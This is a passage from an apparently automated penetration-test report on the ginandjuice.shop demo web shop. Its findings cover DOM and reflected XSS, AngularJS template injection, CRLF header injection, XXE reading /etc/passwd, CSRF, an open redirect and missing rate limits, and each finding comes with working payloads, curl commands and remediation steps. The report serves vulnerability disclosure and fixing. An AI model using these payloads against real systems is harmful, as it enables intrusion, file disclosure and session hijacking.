let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
```

Screenshot Evidence

XSS-PROVEN-TURBOPENTEST

Steps to Reproduce

1. Open a browser and navigate to:
`https://ginandjuice.shop/blog?__proto__[transport_url]=data:,document.write('<p>DOM-XSS-TEST</p>')`
2. Open browser DevTools (F12) -> Console
3. Run: `document.querySelector('p') && document.querySelector('p').textContent`
Expected if vulnerable: 'DOM-XSS-TEST'
Expected if fixed: null (no injected element)
4. Fixed result: (a) sanitise `__proto__` keys in `deparam.js`, (b) validate `transport_url` against an allowlist before `script.src` assignment, or (c) CSP blocking `data: URIs` as script sources.

Remediation

1. Patch `deparam.js` to reject keys equal to `__proto__`, `constructor`, or `prototype` before assigning parsed values.
2. In `searchLogger.js` validate `config.transport_url` against an explicit allowlist of trusted origins before creating the script element.
3. Deploy a Content-Security-Policy header that restricts `script-src` to same-origin and explicit trusted hosts; prohibit `data: URIs`.
4. Use `Object.create(null)` for the config object so inherited properties are not accessible.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

HIGH

Exploitation

Reflected XSS via JavaScript String Injection in searchTerm Parameter

Source: Paladin AI | Type: Reflected Cross-Site Scripting | CVSS: 7.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N) | CWE-79 | A05:2025 - Injection | SANS: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected URL: <https://ginandjuice.shop/catalog>

OWASP WSTG: WSTG-INPV-01 - Testing for Reflected Cross Site Scripting

MITRE ATT&CK: T1059.007, T1539

Why this severity

High: unauthenticated reflected XSS requiring only a single link click. Payload restriction (no ' allowed) trivially bypassed with String.fromCharCode. No CSP present.

References

- <https://cwe.mitre.org/data/definitions/79.html>
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflect-ed_Cross_Site_Scripting
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Description

What it is: The searchTerm parameter on /catalog is reflected into a JavaScript single-quoted string context; the server escapes ' as \' but does not escape \, allowing an attacker to break out of the string via \. Why it matters: A single crafted link yields arbitrary JavaScript execution in the victim's browser. What is at risk: Session hijacking, credential theft, DOM manipulation, account takeover.

Proof of Exploit

Request:
GET /catalog?searchTerm=\';document.write(String.fromCharCode(60,104,49,62,88,83,83,60,47,104,49,62))//
HTTP/1.1

Server response body excerpt:

```
<script>
  var searchText = '\\';document.write(String.fromCharCode(60,...,62))//';
  document.getElementById('searchBar').value = searchText;
</script>
```

In JavaScript '\\' = string containing literal backslash, then ' closes the string, then document.write executes.

Browser DOM evaluation confirms execution:

```
document.getElementById('XSS-PROVEN-TURBOPENTEST') ? 'CONFIRMED: ' + ... : 'NOT_FOUND'
Result: "REFLECTED-XSS-CONFIRMED: XSS-PROVEN-TURBOPENTEST"
```

Steps to Reproduce

1. Navigate to:
[https://ginandjuice.shop/catalog?searchTerm=%5C%27%3Bdocument.write\(String.fromCharCode\(60,104,49,62,88,83,83,60,47,104,49,62\)\)%2F%2F](https://ginandjuice.shop/catalog?searchTerm=%5C%27%3Bdocument.write(String.fromCharCode(60,104,49,62,88,83,83,60,47,104,49,62))%2F%2F)
2. Open DevTools -> Console
3. Run: document.querySelectorAll('h1')[1] && document.querySelectorAll('h1')[1].textContent
Expected if vulnerable: "XSS"
4. Alternatively inspect source and search for: var searchText = '\\'
5. Fixed result: server escapes both ' -> \' AND \ -> \\.

Remediation

1. Escape BOTH \ -> \\ AND ' -> \' when reflecting user input into JavaScript string literals. 2. Prefer JSON-encoding user values for JS reflection. 3. Deploy CSP disallowing unsafe-inline. 4. Move search-term handling out of inline scripts and into data attributes read by external scripts using DOM APIs (element.textContent = userInput).

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

HIGH

Exploitation

AngularJS Client-Side Template Injection (CSTI) via category Parameter

Source: Paladin AI | Type: Client-Side Template Injection | CVSS: 7.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N) | CWE-79 | A05:2025 - Injection

Affected URL: <https://ginandjuice.shop/catalog>

OWASP WSTG: WSTG-CLNT-13 - Testing for Client-side Template Injection

MITRE ATT&CK: T1059.007, T1539

Why this severity

High: unauthenticated reflected CSTI with no sandbox in Angular 1.7.7 yields arbitrary JS execution. Requires user to visit crafted link (UI:R).

References

- <https://cwe.mitre.org/data/definitions/79.html>
- <https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs>
- <https://endoflife.date/angularjs>
- <https://nvd.nist.gov/vuln/detail/CVE-2023-26116>

Description

What it is: The category parameter is reflected unencoded inside an ng-app scope; AngularJS 1.7.7 (EOL, no sandbox) evaluates `{{expression}}` bindings inside the reflection point. Why it matters: An attacker achieves arbitrary JavaScript execution in the victim's browser via a crafted link. What is at risk: Session hijacking, credential theft, account takeover.

Proof of Exploit

Server HTML response confirming reflection into ng-app scope:

```
GET /catalog?category={{7*7}}
<body ng-app>
...
<input hidden type=text name="category" value="{{7*7}}">
...
const selectedCategory = "{{7*7}}";
```

Browser DOM evaluation proves execution:

```
document.querySelector('input[name=category]').value -> "49"
```

Server sent `"{{7*7}}"`, browser DOM shows `"49"` - Angular evaluated the expression.

AngularJS 1.7.7 confirmed via `<script src="/resources/js/angular_1-7-7.js"></script>`; 1.7.x has no expression sandbox.

Steps to Reproduce

1. Navigate to: `https://ginandjuice.shop/catalog?category={{7*7}}`
2. Open browser DevTools -> Console
3. Run: `document.querySelector('input[name=category]').value`
Expected if vulnerable: `"49"`
Expected if fixed: `"{{7*7}}"`
4. Fixed: server HTML-encodes `{ }` before reflection, or ng-app is removed and Angular replaced.

Remediation

1. Encode all user-supplied values before placing them inside AngularJS template contexts (encode `{{` and `}}`).
2. Migrate away from AngularJS 1.x (EOL).
3. Apply CSP restricting script execution.
4. If Angular must be retained, set interpolation symbols to non-standard delimiters and sanitise user input before reflection.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

HIGH

Exploitation

HTTP Response Header Injection (CRLF) via category Parameter

Source: Paladin AI | Type: HTTP Response Header Injection | CVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) | CWE-113 | A05:2025 - Injection

Affected URL: `https://ginandjuice.shop/catalog`

OWASP WSTG: WSTG-INPV-15 - Testing for HTTP Splitting/Smuggling

MITRE ATT&CK: T1190, T1557

Why this severity

High: no authentication required. Scope: Changed because injected headers affect downstream caches and other users. Enables session fixation and security-header bypass.

References

- <https://cwe.mitre.org/data/definitions/113.html>

Description

What it is: The category parameter is reflected into the Set-Cookie response header without stripping CR (0x0D) or LF (0x0A), allowing attackers to inject arbitrary HTTP response headers. Why it matters: Enables session fixation via injected Set-Cookie, cache poisoning of downstream caches, and security-header overwriting. What is at risk: Session integrity of other users, HTTP cache contents, security header enforcement.

Proof of Exploit

```
Request:
GET /catalog?category=test%0d%0aX-Injected%3a%20crlf-test HTTP/1.1
Host: ginandjuice.shop

Response headers (excerpt):
HTTP/1.1 200 OK
set-cookie: category=test
x-injected: crlf-test; Secure; HttpOnly    <- injected by attacker
x-frame-options: SAMEORIGIN

The CRLF %0d%0a split the Set-Cookie line; the trailing '; Secure; HttpOnly' confirms the split happened at application level.

curl:
curl -sI "https://ginandjuice.shop/catalog?category=test%0d%0aX-Injected:%20crlf-test" | grep -i "x-injected"
# Returns: x-injected: crlf-test; Secure; HttpOnly
```

Steps to Reproduce

1. Run: `curl -sI "https://ginandjuice.shop/catalog?category=test%0d%0aX-Injected:%20crlf-test" | grep -i "x-injected"`
Expected if vulnerable: `x-injected: crlf-test; Secure; HttpOnly`
2. Session fixation demo: `curl -sI "https://ginandjuice.shop/catalog?category=x%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED" | grep -i "set-cookie"`
Expected if vulnerable: a second Set-Cookie line with attacker value.
3. Fixed result: no x-injected header; CRLF characters are stripped or rejected.

Remediation

1. Strip or reject CR (0x0D) and LF (0x0A) characters from any user-supplied value before placing it in an HTTP response header.
2. Use framework built-in header-setting APIs that sanitise.
3. Allowlist known category values.
4. Configure the ALB/WAF to block requests containing %0d/%0a in query string values.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

HIGH

Exploitation

XML External Entity (XXE) Injection in /catalog/product/stock

Source: Paladin AI | Type: XML External Entity Injection | CVSS: 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) | CWE-611 | A05:2025 - Injection

Affected URL: <https://ginandjuice.shop/catalog/product/stock>

OWASP guides:

- OWASP WSTG: WSTG-INPV-07 - Testing for XML Injection
- OWASP API Top 10 2023: API8:2023 - Security Misconfiguration

MITRE ATT&CK: T1190, T1552.005

Why this severity

High - external entity resolution confirmed active on unauthenticated endpoint. Scope-changed CVSS reflects SSRF potential against AWS IMDS from the EC2-hosted app. Confidentiality of files and cloud credentials is at direct risk.

References

- <https://cwe.mitre.org/data/definitions/611.html>

- [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_\(XXE\)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
- https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
- <https://portswigger.net/web-security/xxe>

Description

What it is: The POST /catalog/product/stock endpoint accepts application/xml bodies and its XML parser resolves external SYSTEM entity declarations (DOCTYPE). Why it matters: An unauthenticated attacker can read local files and pivot to SSRF against internal AWS services including the EC2 instance metadata endpoint (169.254.169.254) enabling IAM credential theft. What is at risk: Server file confidentiality, cloud IAM credentials, internal network reachability from the app server.

Proof of Exploit

Baseline (no DOCTYPE):

```
POST /catalog/product/stock Content-Type: application/xml
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
-> 200, body: "984"
```

Empty literal storeId:

```
<stockCheck><productId>1</productId><storeId></storeId></stockCheck>
-> 200, body: "642"
```

Internal entity non-numeric string:

```
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY test "DOESNOTEXIST">]>
<stockCheck><productId>1</productId><storeId>&test;</storeId></stockCheck>
-> 400, body: "Store ID must be a number"
```

External entity non-existent file:

```
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///doesnotexist12345">]>
<stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>
-> 200, body: "150" (bypasses number validation - can only be explained by external entity resolution)
```

External entity file:///etc/passwd:

```
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>
-> 200, body: "150"
```

The 3-way disambiguation (empty=642, internal-entity=400, external-entity=200/150) proves the parser resolves SYSTEM entities.

Steps to Reproduce

1. Baseline: `curl -s -X POST https://ginandjuice.shop/catalog/product/stock -H 'Content-Type: application/xml' -d '<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>'`
Expected: HTTP 200, body "984"
2. Empty baseline: `curl -s -X POST https://ginandjuice.shop/catalog/product/stock -H 'Content-Type: application/xml' -d '<stockCheck><productId>1</productId><storeId></storeId></stockCheck>'`
Expected: HTTP 200, body "642"
3. Internal entity validation: `curl -s -X POST https://ginandjuice.shop/catalog/product/stock -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY t "DOESNOTEXIST">]><stockCheck><productId>1</productId><storeId>&t;</storeId></stockCheck>'`
Expected: HTTP 400 "Store ID must be a number"
4. External entity: `curl -s -X POST https://ginandjuice.shop/catalog/product/stock -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>'`
Expected (vulnerable): HTTP 200 with stock number bypassing numeric validation
Expected (fixed): HTTP 400 or DOCTYPE rejected outright

Remediation

1. Disable external entity processing in the XML parser (e.g. Java `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)`; Python `lxml no_network=True, resolve_entities=False`).
2. Reject requests containing DOCTYPE declarations at the application level.
3. If XML is not required, switch to JSON for the stock-check API.
4. Apply least-privilege egress rules on the EC2 instance to block outbound to RFC-1918 addresses and 169.254.169.254.
5. Enable AWS IMDSv2 to limit SSRF impact even if XXE is exploited.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

MEDIUM**Exploitation**

CSRF on Add-to-Cart Endpoint with SameSite=None Session Cookie

Source: Paladin AI | Type: Cross-Site Request Forgery | CVSS: 5.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) | CWE-352 | A01:2025 - Broken Access Control

Affected URL: <https://ginandjuice.shop/catalog/cart>

OWASP WSTG: WSTG-SESS-05 - Testing for Cross Site Request Forgery

MITRE ATT&CK: T1204.001

Why this severity

Medium: state-changing action exposed to cross-origin abuse. Requires an authenticated victim to click a link (UI:R). Impact confined to cart manipulation on that victim's account.

References

- <https://cwe.mitre.org/data/definitions/352.html>
- https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

Description

What it is: POST /catalog/cart accepts requests without any anti-CSRF token, and the session cookie is set with SameSite=None so it is transmitted on all cross-origin requests. Why it matters: An attacker's malicious page can silently manipulate victims' carts. What is at risk: Cart state, inventory reservations, potential pivot for further state manipulation.

Proof of Exploit

```
Request sent cross-origin, no CSRF token:
POST /catalog/cart HTTP/1.1
Host: ginandjuice.shop
Content-Type: application/x-www-form-urlencoded
Referer: https://evil.example.com/
```

```
Body: productId=1&redir=PRODUCT&quantity=5
```

```
Response:
HTTP/1.1 302 Found
Location: /catalog/product?productId=1
Set-Cookie: session=ab54vGulp8...; Secure; HttpOnly; SameSite=None
```

The 302 confirms the action was accepted. SameSite=None on the session cookie means it is transmitted on cross-origin requests, making this fully exploitable against authenticated victims.

Steps to Reproduce

1. Visit <https://ginandjuice.shop/login> and authenticate to obtain a session.
2. Host the following HTML on an attacker-controlled server (or use a local file):

```
<form method="POST" action="https://ginandjuice.shop/catalog/cart">
<input name="productId" value="1">
<input name="quantity" value="10">
<input name="redir" value="PRODUCT">
<button type="submit">Click</button>
</form>
```
3. Open the attacker page in the same browser and submit.
4. Visit <https://ginandjuice.shop/catalog/cart>. Expected if vulnerable: 10 items added.
5. Fixed result: endpoint requires and validates a CSRF token, and session cookie uses SameSite=Lax or Strict.

Remediation

1. Add a CSRF token to the add-to-cart form and validate it server-side on POST /catalog/cart.
2. Change the session cookie SameSite attribute from None to Lax (or Strict).
3. Verify all other state-changing POST endpoints for the same missing protection.
4. Implement the Synchronizer Token Pattern or Double Submit Cookie pattern consistently.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

MEDIUM**Exploitation**

Missing Rate Limiting on Authentication Endpoint

Source: Paladin AI | Type: Missing Rate Limiting | CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) | CWE-307
| A07:2025 - Identification and Authentication Failures

Affected URL: <https://ginandjuice.shop/login>

OWASP WSTG: WSTG-ATHN-03 - Testing for Weak Lock Out Mechanism

MITRE ATT&CK: T1110, T1110.004

Why this severity

Medium (aligns with historical precedent for missing rate limiting where credentials are not yet weak/known). Absence of throttling was proven by 25 parallel requests all returning without any 429/lockout. Enables high-volume credential guessing.

References

- <https://cwe.mitre.org/data/definitions/307.html>
- https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

Description

What it is: POST /login imposes no rate limiting, account lockout, CAPTCHA, or any other anti-automation control. Why it matters: An attacker can perform high-speed credential guessing and stuffing against the endpoint without any throttling. What is at risk: All accounts with weak or reused credentials.

Proof of Exploit

25 parallel POST requests sent simultaneously to <https://ginandjuice.shop/login>:
Request body pattern: `csrf=RATELIMITPROBE_N&username=carlos&password=wrongN` (N=1..25)

All 25 responses: HTTP/1.1 400 body "Invalid CSRF token"; timing 73-145 ms
Zero HTTP 429 responses.
Zero HTTP 403 responses.
Zero connection resets or blocks.

Sample timings within a 1-second window:

Probe 1: HTTP 400 74ms session=BKDz5FjHcYjB...
Probe 2: HTTP 400 78ms session=fha0hdUJ3qhjqj...
Probe 25: HTTP 400 79ms session=yUsxeVtapfnYo...

Steps to Reproduce

1. Grab a session and CSRF: `curl -sk https://ginandjuice.shop/login | grep -o 'csrf' value="[^"]*'`
2. Send 25 rapid POSTs in parallel:

```
for i in $(seq 1 25); do
  curl -sk -o /dev/null -w "%{http_code}\n" -X POST https://ginandjuice.shop/login -H "Content-Type: application/x-www-form-urlencoded" -d "csrf=BADTOKEN&username=carlos&password=wrong${i}" &
done; wait
```
3. Observe: all 25 return 400; none return 429.
4. Fixed result: after N failed attempts the endpoint returns 429 with Retry-After, locks the account, or challenges with CAPTCHA.

Remediation

1. Implement server-side rate limiting: no more than 5-10 failed login attempts per account per 15-minute window before temporary lockout. 2. Add IP-based rate limiting: no more than 20-30 requests to /login per minute per source IP. 3. Require CAPTCHA after 3 consecutive failed attempts. 4. Implement account lockout with exponential back-off. 5. Configure AWS WAF managed rule groups (AWSManagedRulesAnonymousIpList, AWSManagedRulesBotControlRuleSet) on the ALB.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

MEDIUM**Vuln Analysis**

Missing Email Authentication Records - No SPF, DKIM, or DMARC

Source: Security Checks | Type: DNS Misconfiguration | CVSS: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) | CWE-183
| A02:2025 - Security Misconfiguration

Affected URL: <https://ginandjuice.shop>

OWASP WSTG: WSTG-CONF-11 - Test Cloud Storage / Email Configuration

MITRE ATT&CK: T1566.001, T1566.002

Why this severity

Medium: no exploit of the application itself is required; any attacker can spoof email as @ginandjuice.shop. Scope-changed because impact is borne by third-party recipients.

References

- <https://cwe.mitre.org/data/definitions/183.html>
- <https://datatracker.ietf.org/doc/html/rfc7208>
- <https://datatracker.ietf.org/doc/html/rfc7489>
- <https://datatracker.ietf.org/doc/html/rfc6376>

Description

What it is: The domain ginandjuice.shop has no SPF, DKIM, or DMARC DNS records configured, providing no technical basis for receivers to reject spoofed email. Why it matters: Any attacker can send email as any @ginandjuice.shop address with high deliverability, enabling spear-phishing. What is at risk: Third-party recipients (customers, staff, partners) are exposed to convincing phishing that appears to originate from the domain.

Proof of Exploit

1. SPF (TXT at apex): DNS lookup failed (ENODATA) queryTxt ENODATA ginandjuice.shop -> no SPF.
2. DMARC: DNS lookup failed (ENOTFOUND) queryTxt ENOTFOUND _dmarc.ginandjuice.shop -> no DMARC policy.
3. DKIM selectors tested (all ENOTFOUND): default._domainkey, google._domainkey, selector1._domainkey, selector2._domainkey, mail._domainkey.
4. MX: DNS lookup failed (ENODATA) queryMx ENODATA ginandjuice.shop -> no MX (does not prevent spoofing).

pentesttools DNS Security Record Check (current run):

Status: vulnerable

Details: {'found_records': {}, 'missing_records': {'SPF': 'Missing', 'DKIM': 'Missing', 'DMARC': 'Missing', 'CAA': 'Missing'}}

Steps to Reproduce

1. dig TXT ginandjuice.shop
Expected (vulnerable): no v=spf1 record.
Expected (fixed): TXT starting with "v=spf1 ...".
2. dig TXT _dmarc.ginandjuice.shop
Expected (vulnerable): NXDOMAIN.
Expected (fixed): TXT starting with "v=DMARC1; p=reject;" or p=quarantine.
3. dig TXT default._domainkey.ginandjuice.shop and dig TXT selector1._domainkey.ginandjuice.shop
Expected (vulnerable): NXDOMAIN for all selectors.
Expected (fixed): TXT with "v=DKIM1; k=rsa; p=...".
4. dig MX ginandjuice.shop
Expected: NOERROR with no MX records.

Remediation

1. Publish an SPF record: TXT at ginandjuice.shop "v=spf1 -all" (if no legitimate email is sent) or list authorised senders.
2. Publish a DMARC policy: TXT at _dmarc.ginandjuice.shop "v=DMARC1; p=reject; rua=mailto:dmarc-reports@ginandjuice.shop". Start with p=none for monitoring, then move to p=quarantine and p=reject.
3. Configure DKIM signing on any email service and publish the public key.
4. If the domain never sends email, publish "v=spf1 -all" and "v=DMARC1; p=reject;" to explicitly block all senders.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

MEDIUM

Vuln Analysis

DOM-Based Open Redirect via back Parameter in /blog/post

Source: Paladin AI | Type: Open Redirect | CVSS: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) | CWE-601
| A01:2025 - Broken Access Control

Affected URL: https://ginandjuice.shop/blog/post

OWASP WSTG: WSTG-CLNT-04 - Testing for Client-side URL Redirect

MITRE ATT&CK: T1204.001, T1566.002

Why this severity

Medium: requires user interaction. Scope: Changed because redirect leaves the origin. Primary risk is phishing via trusted-domain lure.

References

- https://cwe.mitre.org/data/definitions/601.html
- https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

Description

What it is: The Back to Blog link on blog post pages assigns the value of the back URL parameter directly to location without origin validation. Why it matters: An attacker sends a link to ginandjuice.shop that redirects victims to attacker-controlled phishing pages after a single click on a natural-seeming navigation link. What is at risk: End-user credentials and OAuth flows exposed to phishing.

Proof of Exploit

- GET /blog/post?postId=1&back=https://evil.example.com HTTP/1.1 -> HTTP 200
- Vulnerable JS extracted from response body:

```
<div class="is-linkback">
<a href="#" onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back")
|| "/blog";'>Back to Blog</a>
</div>
```
- URLSearchParams.get("back") returns "https://evil.example.com" unvalidated; assigning to location navigates the browser off-site.
- curl -s "https://ginandjuice.shop/blog/post?postId=1&back=https://evil.example.com" | grep -A2 "is-linkback"
Output confirms the vulnerable inline JS is present in the live response.

Steps to Reproduce

- Navigate to: https://ginandjuice.shop/blog/post?postId=1&back=https://example.com
- Open DevTools -> Console: new URLSearchParams(location.search).get('back')
Expected if vulnerable: "https://example.com"
- Click Back to Blog. Expected if vulnerable: browser redirects to https://example.com.
- Fixed result: redirect stays on ginandjuice.shop, or back parameter is validated against an allowlist of on-site paths.

Remediation

- Validate the back parameter server-side and client-side against an allowlist of permitted on-site paths (e.g. only allow values matching /`^\[a-z0-9\-\]+\$/i`).
- Use new URL(back, location.origin) and confirm the resulting origin matches location.origin before assigning.
- Alternatively remove the open redirect and hardcode the back destination to /blog.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

LOW

Vuln Analysis

CONFIRMED

Insecure Session and Load-Balancer Cookies - Missing HttpOnly, Secure, and SameSite Attributes

Source: Vuln Scanner | Type: Insecure Cookie Configuration | CVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) | CWE-1004 | A02:2025 - Security Misconfiguration

Affected URL: https://ginandjuice.shop/

OWASP WSTG: WSTG-SESS-02 - Testing for Cookies Attributes

MITRE ATT&CK: T1539

Why this severity

Low: the session and load-balancer cookies are set without HttpOnly, Secure, and SameSite. On its own this is a hardening gap, but combined with the reflected and DOM XSS findings above it enables session-cookie theft, and the missing Secure flag allows the cookie to travel over cleartext HTTP. Rated Low because exploitation depends on a companion finding rather than being directly exploitable.

References

- <https://cwe.mitre.org/data/definitions/1004.html>
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes

Description

What it is: The AWS load-balancer cookies (AWSALB, AWSALBCORS) are issued without HttpOnly and Secure flags, and the application session cookie is set with SameSite=None. Why it matters: JavaScript can read HttpOnly-less cookies (amplifying XSS impact), and SameSite=None removes browser CSRF defence. What is at risk: Session confidentiality and cross-site request authenticity.

Proof of Exploit

```
Nuclei (current run):
[cookies-without-secure] javascript info ginandjuice.shop:443 ["AWSALB"]
[cookies-without-httponly] javascript info ginandjuice.shop:443 ["AWSALB", "AWSALBCORS"]

testssl.sh (current run): Cookie(s) issued: 3 issued, 2/3 secure, 1/3 HttpOnly.

Observed session cookie (from add-to-cart response):
Set-Cookie: session=ab54vGulp8...; Secure; HttpOnly; SameSite=None
```

Steps to Reproduce

1. `curl -sI https://ginandjuice.shop/ | grep -i "set-cookie"`
Expected (vulnerable): AWSALB and AWSALBCORS cookies without HttpOnly and/or Secure flags.
2. Trigger any state-changing endpoint that returns a session cookie: `curl -si -X POST https://ginandjuice.shop/catalog/cart -d "productId=1&quantity=1&redir=PRODUCT" | grep -i "set-cookie"`
Expected (vulnerable): SameSite=None on session cookie.
3. Fixed result: AWSALB/AWSALBCORS emitted with Secure and HttpOnly; application session cookie uses SameSite=Lax or Strict.

Remediation

1. Configure the AWS ALB target-group stickiness cookie to be emitted with Secure and HttpOnly attributes via the target-group cookie-configuration setting. 2. Emit application session cookies as `Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/`. 3. Rotate session identifiers on login and privilege changes.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

Verification Evidence

Re-analysis verdict: Still present (oracle re-analysis)

Status: Independently verified

INFO

Vuln Analysis

CONFIRMED

Missing HTTP Security Headers Across All Endpoints

Source: Security Checks | Type: Missing Security Headers | CVSS: 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) | CWE-693 | A02:2025 - Security Misconfiguration

Affected URL: <https://ginandjuice.shop/>
<https://ginandjuice.shop/catalog>
<https://ginandjuice.shop/blog>
<https://ginandjuice.shop/about>
<https://ginandjuice.shop/login>

OWASP WSTG: WSTG-CONF-07 - Test HTTP Strict Transport Security

MITRE ATT&CK: T1592

Why this severity

Info per historical precedent. Impact is only realised in combination with the injection findings above; on its own the absence of these headers is a defence-in-depth gap.

References

- <https://cwe.mitre.org/data/definitions/693.html>
- <https://owasp.org/www-project-secure-headers/>
- <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy>

Description

What it is: The application does not emit the standard defensive response headers (Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, Cross-Origin-Resource-Policy, Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy). Why it matters: These headers are the last defensive layer amplifying the injection findings on this target - no HSTS means HTTPS is not enforced by the browser, and no CSP means injection payloads execute unrestricted. What is at risk: End-user browsers and confidentiality of authenticated sessions.

Proof of Exploit

```
pentesttools (current run):
Security Header Check status: vulnerable
missing_basic_headers: ['Strict-Transport-Security', 'Content-Security-Policy', 'Referrer-Policy', 'X-Content-Type-Options']
missing_comprehensive_headers:
['Cache-Control', 'X-XSS-Protection', 'Cross-Origin-Embedder-Policy', 'Cross-Origin-Opener-Policy', 'Cross-Origin-Resource-Policy', 'Expect-CT', 'Access-Control-Allow-Origin', 'Permissions-Policy']

pentesttools CSP check: 'error': 'CSP header missing', 'http_status': 200.
pentesttools HSTS check: 'HSTS is NOT enforced on final HTTPS destination', 'hsts_header': 'Missing'.

testssl.sh (current run): Strict Transport Security: not offered.
```

Steps to Reproduce

1. `curl -sI https://ginandjuice.shop/ | egrep -i "strict-transport-security|content-security-policy|x-content-type-options|referrer-policy|permissions-policy|cross-origin-"`
Expected (vulnerable): none of these headers present.
2. Repeat for /catalog, /blog, /about, /login.
3. Fixed result: HSTS, CSP, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and CORP present on every response.

Remediation

Configure the reverse proxy (AWS ALB response-headers policy, CloudFront function, or origin nginx) to emit on every response:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'

X-Content-Type-Options: nosniff

Referrer-Policy: strict-origin-when-cross-origin

Permissions-Policy: geolocation=(), camera=(), microphone=()

Cross-Origin-Resource-Policy: same-site

X-Frame-Options: SAMEORIGIN

Deploy CSP in report-only mode first, iterate on violations, then enforce.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

Verification Evidence

Re-analysis verdict: Still present (oracle re-analysis)

Status: Independently verified

INFO

Intel Gathering

CONFIRMED

Web Application Firewall Detected - AWS Elastic Load Balancer

Source: WAF Detect | Type: Infrastructure Identification | CVSS: 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) | CWE-200
| A02:2025 - Security Misconfiguration
Affected URL: https://ginandjuice.shop
OWASP WSTG: WSTG-INFO-02 - Fingerprint Web Server
MITRE ATT&CK: T1592.004

Why this severity
Info per historical precedent for WAF/infrastructure identification.

References

- https://cwe.mitre.org/data/definitions/200.html
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server

Description
